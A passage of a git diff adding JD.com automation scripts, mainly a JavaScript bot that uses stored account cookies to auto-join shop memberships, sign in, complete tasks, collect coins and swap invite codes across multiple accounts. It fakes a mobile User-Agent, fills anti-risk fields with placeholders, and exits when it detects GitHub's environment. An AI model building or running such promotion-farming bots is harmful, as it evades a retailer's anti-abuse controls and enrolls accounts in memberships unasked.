"POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_hyj.js b/backUp/jd_hyj.js new file mode 100644 index 0000000..9fc1101 --- /dev/null +++ b/backUp/jd_hyj.js @@ -0,0 +1,740 @@ +//0 * * * * 环游记 自动入会、签到、任务、升级、开宝箱、捡金币 +//半残品随便跑跑 +const $ = new Env('环游记'); + +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + + +let cookiesArr = [], + cookie = '', + message; +let secretp = '', + inviteId = [] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let inviteCodes = [ + +] +$.shareCodesArr = []; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + $.inviteIdCodesArr = {} + for (let i = 0; i < cookiesArr.length && true; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + await getUA() + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await shareCodesFormat() + for (let i = 0; i < $.newShareCodes.length && true; ++i) { + console.log(`\n开始助力 【${$.newShareCodes[i]}】`) + let res = await getInfo($.newShareCodes[i]) + if (res && res['data'] && res['data']['bizCode'] === 0) { + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { + console.log(`助力次数已耗尽,跳出`) + break + } + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0]) { + console.log(`助力 【${$.newShareCodes[i]}】:${res.data.result.toasts[0].msg}`) + } + } + if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { + // 助力次数耗尽 || 黑号 + break + } + } + try { + await get_secretp() + + do { + var conti = false + await travel_collectAtuoScore() + res = await travel_getTaskDetail() + + for (var p = 0; p < res.lotteryTaskVos[0].badgeAwardVos.length; p++) { + if (res.lotteryTaskVos[0].badgeAwardVos[p].status == 3) { + await travel_getBadgeAward(res.lotteryTaskVos[0].badgeAwardVos[p].awardToken) + } + + } + let task = [] + let r = [] + for (var p = 0; p < res.taskVos.length; p++) { + task = res.taskVos[p] + if (task.status != 1) continue + switch (task.taskType) { + case 7: + case 9: + case 3: + case 6: + case 26: + var tmp = [] + if (task.taskType == 7) { + tmp = task.browseShopVo + } else { + tmp = task.shoppingActivityVos + } + + for (var o = 0; o < tmp.length; o++) { + console.log(`${tmp[o].title?tmp[o].title:tmp[o].shopName}`) + if (tmp[o].status == 1) { + conti = true + await travel_collectScore(tmp[o].taskToken, task.taskId) + } + + } + await $.wait(8000) + for (var o = 0; o < tmp.length; o++) { + if (tmp[o].status == 1) { + conti = true + await qryViewkitCallbackResult(tmp[o].taskToken) + } + + } + break + case 2: + r = await travel_getFeedDetail(task.taskId) + var t = 0; + for (var o = 0; o < r.productInfoVos.length; o++) { + if (r.productInfoVos[o].status == 1) { + conti = true + await travel_collectScore(r.productInfoVos[o].taskToken, task.taskId) + t++ + if (t >= 5) break + } + + } + break + case 5: + r = await travel_getFeedDetail2(task.taskId) + var t = 0; + for (var o = 0; o < r.browseShopVo.length; o++) { + if (r.browseShopVo[o].status == 1) { + conti = true + await travel_collectScore(r.browseShopVo[o].taskToken, task.taskId) + t++ + if (t >= 5) break + } + + } + break + case 21: + for (var o = 0; o < task.brandMemberVos.length; o++) { + if (task.brandMemberVos[o].status == 1) { + console.log(`${task.brandMemberVos[o].title}`) + memberUrl = task.brandMemberVos[o].memberUrl + memberUrl = transform(memberUrl) + await join(task.brandMemberVos[o].vendorIds, memberUrl.channel, memberUrl.shopId ? memberUrl.shopId : "") + await travel_collectScore(task.brandMemberVos[o].taskToken, task.taskId) + } + + } + } + + } + await $.wait(1000) + } while (conti) + + + await travel_sign() + do { + var ret = await travel_raise() + } while (ret) + console.log(`助力码:${res.inviteId}\n`) + inviteId.push(res.inviteId) + } catch (e) { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + } + } + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function transform(str) { + var REQUEST = new Object, + data = str.slice(str.indexOf("?") + 1, str.length - 1), + aParams = data.substr(1).split("&"); + for (i = 0; i < aParams.length; i++) {   + var aParam = aParams[i].split("=");   + REQUEST[aParam[0]] = aParam[1] + } + return REQUEST +} + +function get_secretp() { + let body = {}; + return new Promise((resolve) => { + $.post(taskPostUrl("travel_getHomeData", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + secretp = data.data.result.homeMainInfo.secretp + + } + } else { + console.log(`secretp失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_sign() { + let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; + return new Promise((resolve) => { + $.post(taskPostUrl("travel_sign", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + + console.log(`签到成功`) + resolve(true) + } else { + resolve(false) + } + } else { + console.log(`签到失败:${JSON.stringify(data)}\n`) + resolve(false) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_raise() { + let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; + return new Promise((resolve) => { + $.post(taskPostUrl("travel_raise", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + + console.log(`升级成功`) + resolve(true) + } else { + resolve(false) + } + } else { + console.log(`升级失败:${JSON.stringify(data)}\n`) + resolve(false) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_collectAtuoScore() { + let body = { "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; + return new Promise((resolve) => { + $.post(taskPostUrl("travel_collectAtuoScore", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + + console.log(`成功领取${data.data.result.produceScore}个币`) + } + } else { + console.log(`secretp失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_getTaskDetail() { + let body = {}; + return new Promise((resolve) => { + $.post(taskPostUrl("travel_getTaskDetail", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + if (data.data.result.inviteId == null) { + console.log("黑号") + resolve("") + } + inviteId.push(data.data.result.inviteId) + resolve(data.data.result) + } + } else { + console.log(`secretp失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_collectScore(taskToken, taskId) { + let body = { "taskId": taskId, "taskToken": taskToken, "actionType": 1, "ss": { "extraData": { "log": "", "sceneid": "HYJhPageh5" }, "secretp": secretp, "random": randomString(6) } }; + + return new Promise((resolve) => { + $.post(taskPostUrl("travel_collectScore", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + console.log(data.msg) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function qryViewkitCallbackResult(taskToken) { + let body = { "dataSource": "newshortAward", "method": "getTaskAward", "reqParams": `{\"taskToken\":"${taskToken}"}`, "sdkVersion": "1.0.0", "clientLanguage": "zh", "onlyTimeId": new Date().getTime(), "riskParam": { "platform": "3", "orgType": "2", "openId": "-1", "pageClickKey": "Babel_VKCoupon", "eid": "", "fp": "-1", "shshshfp": "", "shshshfpa": "", "shshshfpb": "", "childActivityUrl": "", "userArea": "-1", "client": "", "clientVersion": "", "uuid": "", "osVersion": "", "brand": "", "model": "", "networkType": "", "jda": "-1" } }; + + return new Promise((resolve) => { + $.post(taskPostUrl2("qryViewkitCallbackResult", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + if (data.indexOf("已完成") != -1) { + data = JSON.parse(data); + console.log(`${data.toast.subTitle}`) + } else { + console.log(`失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_getBadgeAward(taskToken) { + let body = { "awardToken": taskToken }; + + return new Promise((resolve) => { + $.post(taskPostUrl("travel_getBadgeAward", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + for (let i = 0; i < data.data.result.myAwardVos.length; i++) { + switch (data.data.result.myAwardVos[i].type) { + case 15: + console.log(`获得${data.data.result.myAwardVos[i].pointVo.score}币?`) + break + case 1: + console.log(`获得优惠券 满${data.result.myAwardVos[1].couponVo.usageThreshold}-${data.result.myAwardVos[i].couponVo.quota} ${data.result.myAwardVos[i].couponVo.useRange}`) + break + } + } + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_getFeedDetail(taskId) { + let body = { "taskId": taskId.toString() }; + + return new Promise((resolve) => { + $.post(taskPostUrl("travel_getFeedDetail", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + resolve(data.data.result.addProductVos[0]) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function travel_getFeedDetail2(taskId) { + let body = { "taskId": taskId.toString() }; + + return new Promise((resolve) => { + $.post(taskPostUrl("travel_getFeedDetail", body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + resolve(data.data.result.taskVos[0]) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function join(venderId, channel, shopId) { + let shopId_ = shopId != "" ? `,"shopId":"${shopId}"` : "" + return new Promise((resolve) => { + $.get({ + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}"${shopId_},"bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0,"channel":${channel}}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.UA, + 'Accept-Language': 'zh-cn', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}&shopId=${venderId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313`, + 'Accept-Encoding': 'gzip, deflate, br' + } + }, async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + if (data.indexOf("成功") != -1) { + console.log(`入会成功\n`) + } else { + console.log(`失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.UA, + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskPostUrl2(functionId, body) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&client=wh5`, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.UA, + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = [...inviteCodes, ...$.newShareCodes]; + } + //if($.index == 1) $.newShareCodes = [...inviteCodes,...$.newShareCodes] + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CITY_EXCHANGE) { + exchangeFlag = process.env.JD_CITY_EXCHANGE || exchangeFlag; + } + if (process.env.CITY_SHARECODES) { + if (process.env.CITY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.CITY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.CITY_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function getUA() { + $.UA = `jdapp;android;10.0.6;11;9363537336739353-2636733333439346;network/wifi;model/KB2000;addressid/138121554;aid/9657c795bc73349d;oaid/;osVer/30;appBuild/88852;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; KB2000 Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36` +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function randomNum(e) { + e = e || 32; + let t = "0123456789", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } + loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } + writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } + lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } + setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) })) } + post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); + else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; + this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) }) } } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_hyj_help.py b/backUp/jd_hyj_help.py new file mode 100644 index 0000000..a8a6e61 --- /dev/null +++ b/backUp/jd_hyj_help.py @@ -0,0 +1,372 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -* +''' +项目名称: JD-Script / jd_hyj +Author: Curtin +功能:环游记 + 1、好友助力,默认按顺序助力,每个号6次助力机会 + 2、浏览并关注任务 + 3、待完成 +Date: 2021/10/24 下午6:52 +Update: 2021/10/24 下午11:52 +TG交流 https://t.me/topstyle996 +TG频道 https://t.me/TopStyle2021 +cron: 0 0,23 * 10-11 * +new Env('环游记'); +''' + + +# UA 可自定义你的, 默认随机生成UA。 +UserAgent = '' + +import os, re, sys +import random, json, time +try: + import requests +except Exception as e: + print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") + exit(3) +from urllib.parse import unquote +############## + +# requests.packages.urllib3.disable_warnings() +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep + +### +def userAgent(): + """ + 随机生成一个UA + 